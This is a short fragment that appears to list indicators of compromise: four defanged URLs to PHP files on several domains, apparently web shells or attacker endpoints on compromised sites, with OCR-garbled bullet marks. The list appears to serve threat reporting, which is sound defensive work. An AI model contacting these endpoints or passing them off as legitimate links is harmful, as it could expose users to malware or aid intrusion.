¢ https[:]//mante.li/images/draw.php

e https[:]//bmanal.com/images/draw.php

e https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php
e https[:]//industryinfostructure.com/templates/worldgroup/view.php
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